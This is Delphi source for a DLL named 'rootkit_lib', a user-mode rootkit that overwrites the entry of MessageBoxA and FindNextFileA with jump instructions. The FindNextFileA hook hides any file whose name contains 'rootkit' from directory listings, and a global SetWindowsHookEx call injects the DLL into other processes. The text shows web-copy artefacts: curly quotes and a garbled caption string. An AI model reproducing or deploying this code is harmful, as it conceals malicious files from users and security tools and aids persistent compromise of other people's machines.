library rootkit_lib;

uses
Windows,SysUtils,Classes,TlHelp32;

type
TInterceptInfo = record
LibraryName : string; FunctionName : string;
FunctionAddr : Pointer;
HookAddr : Pointer;
FunctCode : packed array [0..4] of byte;
HookJMP : packed array [0..4] of byte;
end;

var
HookHandle : hHook;
MessageBoxInterceptInfo : TInterceptInfo;
FindNextFileAInterceptInfo : TInterceptInfo;
function SetHookCode(InterceptInfo : TInterceptInfo; ASetHook : boolean) : boolean;
const
CodeSize = 5;
var
Tmp, OldProtect : dword;
begin
VirtualProtect(InterceptInfo.FunctionAddr, CodeSize, PAGE_EXECUTE_READWRITE, OldProtect);
if ASetHook then
Result := WriteProcessMemory(GetCurrentProcess, InterceptInfo.FunctionAddr,
@InterceptInfo.HookJMP[0], CodeSize, Tmp)
else
Result := WriteProcessMemory(GetCurrentProcess, InterceptInfo.FunctionAddr,
@InterceptInfo.FunctCode[0], CodeSize, Tmp);
VirtualProtect(InterceptInfo.FunctionAddr, CodeSize, OldProtect, Tmp);
end;

function InterceptFunctionEx(ALibName, AFunctName : string; var InterceptInfo : TInterceptInfo; HookFunct: Pointer) : boolean;
var
Tmp : dword;
JMP_Rel : dword;
begin
Result := false;
InterceptInfo.FunctionAddr := GetProcAddress(GetModuleHandle(PChar(ALibName)), PChar(AFunctName));
if InterceptInfo.FunctionAddr = nil then exit;
InterceptInfo.LibraryName := ALibName;
InterceptInfo.FunctionName := AFunctName;
InterceptInfo.HookAddr := HookFunct;
Result := ReadProcessMemory(GetCurrentProcess,InterceptInfo.FunctionAddr,@InterceptInfo.FunctCode[0], 5, Tmp);
if not(Result) then exit;
JMP_Rel := DWORD(HookFunct) - (DWORD(InterceptInfo.FunctionAddr) + 5);
InterceptInfo.HookJMP[0] := $0E9;
CopyMemory(@InterceptInfo.HookJMP[1], @JMP_Rel, 4);
Result := SetHookCode(InterceptInfo, true);
end;

function myMessageBoxA(hWnd: HWND; lpText, lpCaption: PAnsiChar; uType: UINT): Integer; stdcall;
begin
SetHookCode(MessageBoxInterceptInfo, false);
Result := MessageBoxA(hWnd, lpText, PChar(String(lpCaption)+’(ia?aoaa?aia !)’), uType);
SetHookCode(MessageBoxInterceptInfo, true);
end;

function myFindNextFileA(hFindFile: THandle; var lpFindFileData: TWIN32FindDataA): BOOL; stdcall;
begin
try
SetHookCode(FindNextFileAInterceptInfo, false);
Result := FindNextFileA(hFindFile, lpFindFileData);
while Result do begin
if pos(’rootkit’, LowerCase(lpFindFileData.cFileName)) = 0 then exit;
Result := FindNextFileA(hFindFile, lpFindFileData);
end;

finally
SetHookCode(FindNextFileAInterceptInfo, true);
end;
end;

function KeyHook(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
beginResult := CallNextHookEx(HookHandle, nCode, WParam, LParam);
end;
begin
InterceptFunctionEx(’user32.dll’,'MessageBoxA’,MessageBoxInterceptInfo, @myMessageBoxA);
InterceptFunctionEx(’kernel32.dll’,'FindNextFileA’,FindNextFileAInterceptInfo, @myFindNextFileA);
HookHandle := SetWindowsHookEx(WH_CBT, @KeyHook, HInstance, 0);
end.